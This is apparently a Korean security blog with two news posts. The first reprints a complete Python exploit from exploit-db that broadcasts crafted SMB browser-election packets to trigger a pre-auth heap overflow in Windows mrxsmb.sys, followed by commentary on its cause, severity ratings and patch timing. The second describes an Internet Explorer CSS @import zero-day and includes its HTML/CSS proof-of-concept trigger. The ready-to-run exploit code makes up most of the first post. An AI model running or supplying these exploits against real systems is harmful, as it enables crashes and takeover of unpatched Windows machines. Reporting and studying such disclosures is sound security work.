지난 2월 13일에 Cupidon-3005이라는 별명을 사용하는 보안 전문가가 exploit-db.com에 새로운 윈도우 관련 제로데이 익스플로잇을 공개했습니다.

####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################
#Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
#Code will look something like this:
#if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
#-1 causes Len to go 0xFFFFFFFF
#Feel free to reuse this code without restrictions...
  
import socket,sys,struct
from socket import *
  
if len(sys.argv)<=4:    
 sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME 
 example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
  
ourip = sys.argv[1]
host = sys.argv[2]
srcname = sys.argv[3].upper()
dstname = sys.argv[4].upper()
  
  
ELEC            = "\x42\x4f\x00"
WREDIR          = "\x41\x41\x00"
  
def encodename(nbt,service):
    final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
    return final
  
def lengthlittle(packet,addnum):
    length = struct.pack("<i", len(packet)+addnum)[0:2]
    return length
  
def lengthbig(packet,addnum):
    length = struct.pack(">i", len(packet)+addnum)[2:4]
    return length
  
def election(srcname):
    elec = "\x08"
    elec+= "\x09" #Be the boss or die
    elec+= "\xa8\x0f\x01\x20" #Be the boss or die
    elec+= "\x1b\xe9\xa5\x00" #Up time
    elec+= "\x00\x00\x00\x00" #Null, like SDLC
    elec+= srcname+"\x00"
    return elec
  
def smbheaderudp(op="\x25"):
    smbheader= "\xff\x53\x4d\x42"
    smbheader+= op 
    smbheader+= "\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00" 
    smbheader+=  "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    return smbheader
  
  
def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
    packetbrowser  =  pbrowser                             
    packetmailslot = "\x01\x00"                            
    packetmailslot+= "\x00\x00"                            
    packetmailslot+= "\x02\x00"                            
    packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
    packetmailslot+= namepipe +"\x00"
    packetdatagram = "\x11"
    packetdatagram+= "\x02"
    packetdatagram+= tid 
    packetdatagram+= inet_aton(ip)
    packetdatagram+= "\x00\x8a"
    packetdatagram+= "\x00\xa7"
    packetdatagram+= "\x00\x00"
    packetdatagramname = encodename(sname,srcservice)
    packetdatagramname+= encodename(dname,dstservice)
    smbheader= smbheaderudp("\x25")
    packetrans2 = "\x11"
    packetrans2+= "\x00\x00" 
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\xe8\x03\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
    packetrans2+= "\x03"
    packetrans2+= "\x00"
    andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
    lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetotalength = list(packetfinal)
    packetotalength[10:12] = lengthbig(lengthcalc,0)
    packetrans2final = ''.join(packetotalength)
    return packetrans2final
  
def sockbroad(host,sourceservice,destservice,packet):
   s = socket(AF_INET,SOCK_DGRAM)
   s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
   s.bind(('0.0.0.0', 138))
   try:
      packsmbheader = smbheaderudp("\x25")
      buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
      s.sendto(buffer0,(host,138))
   except:
      print "expected SDL error:", sys.exc_info()[0]
      raise
   
sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410)
print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."



물론 이 문제는 아직 해결되지 않았으며 마이크로소프트가 전모를 파악하여 분석 중에 있습니다.

문제점의 원인은 mrxsmb.sys 파일에 포함된 BrowserWriteErrorLogEntry() 함수에서 적벌한 처리가 이뤄지지 않아 버퍼 오버플로 오류가 발생하는 것으로 알려지고 있습니다. mrxsmb.sys 파일은 윈도우에서 네트워크 통신을 하는 과정에서 사용하는 SMB(Server Message Block) 프로토콜에 요청하는 프로세스를 처리하는 드라이버 파일입니다.

독일의 보안 기업인 Vupen이 검토한 바에 따르면 이 문제점은 치명적(Critical)인 것으로 간주되며 이로 인해 서비스 거부나 시스템 장악과 같은 결과를 낳을 수 있다고 합니다. 물론, 윈도우의 블루스크린(BSOD)를 유발할 수도 있습니다.

또다른 보안 기업인 Secunia에서는 5단계 위험 기준에서 3번째인 일반(moderately critical)로 분류했습니다.

현재 제로데이코드는 윈도우 2003 서버 제품에 한정되어 올라와 있지만 앞에서 언급한 보안 기업의 확인에 따르면 Windows XP SP3와 Windows 2003 SP2 버전뿐만 아니라 다른 윈도우 제품에서도 대부분 발생한다고 합니다.

MS의 보안 업데이트 정책상 다음달 8일에 정기 보안 업데이트가 예정되어 있지만, 이 취약점에 대한 조사가 완료된 후에야 긴급 업데이트를 할지 아니면 다음달에 처리할지 결정될 것이라고 합니다.

감사합니다.

출처: http://www.exploit-db.com/exploits/16166/
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    마이크로소프트에서 발생하고 있는 대부분의 취약점은 윈도우 운영체제, IE, 그리고 오피스 제품에서 발생하고 있습니다. 이 중에서 사용자가 필수적으로 설치해 사용할 수 밖에 없는 운영체제와 IE에서 발생하는 취약점이 가장 큰 문제를 야기한다고 볼 수 있습니다.

    올해 12월 마지막 MS 보안 업데이트에서는 총 17가지의 유형의 취약점으로 세부적으로는 40개의 취약점을 해결하고 있습니다. 이번 취약점은 다음주 화요일(미국 기준)에 업데이트가 출시될 예정입니다.

    하지만, 인터넷 익스플로러에 대한 제로데이 취약점에 대한 새로운 보고서가 제출되어 마이크로소프트가 조사에 착수했다는 소식이 있습니다.

    12월 8일 이미 이 취약점을 이용하는 익스플로잇 코드가 Full Disclosure 메일링 리스트에 공개되었습니다. 이 취약점은 윈도우 7, 비스타와 같은 거의 모든 운영체제에서 동작하는 인터넷 익스프롤러 6, 7, 8에서 발견되고 있습니다.

    현재 이 취약점을 해결하는 패치는 당연히 없으며, VUPEN Security라는 보안 벤더의 분석에 따르면 취약점을 통해 공격자는 취약한 시스템의 전체적인 권한을 장악할 수 있습니다.

    이 문제는 다양한 '@import' 규칙을 포함하고 있는 CSS(Cascading Style Sheets)를 참조하는 웹페이지를 처리하는 'mshtml.dll' 파일에서 발생하는 것으로 특별하게 조작한 웹 페이지를 통해 의도한 코드를 원격에서 실행할 수 있습니다. 이 취약점의 강도는 '치명적'인 것으로 평가되고 있으며, 윈도우 7, 윈도우 비스타 SP2 및 윈도우 XP SP3에서 IE 8, 윈도우 XP SP3에서 IE 6/7에서 발생하는 것을 확인했다고 VUPEN에서 전하고 있습니다.

    <code> <div style="position: absolute; top: -999px;left: -999px;">
    <link href="css.css" rel="stylesheet" type="text/css" />
    </code>
     <code of css.css> *{ color:red; }
    @import url("css.css");
    @import url("css.css");
    @import url("css.css");
    @import url("css.css");
    </code>

    마이크로소프트의 대응 통신 그룹장인 Jerry Bryant는 최근의 IE 버그를 대상으로하는 어떠한 공격에 대해서 알려진 바가 없다고 밝혔으며, 새로운 취약점을 조사하게 되면 고객을 보호하기 위한 적절한 조치를 취할 것이라고 합니다.
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus


      Web Analytics Blogs Directory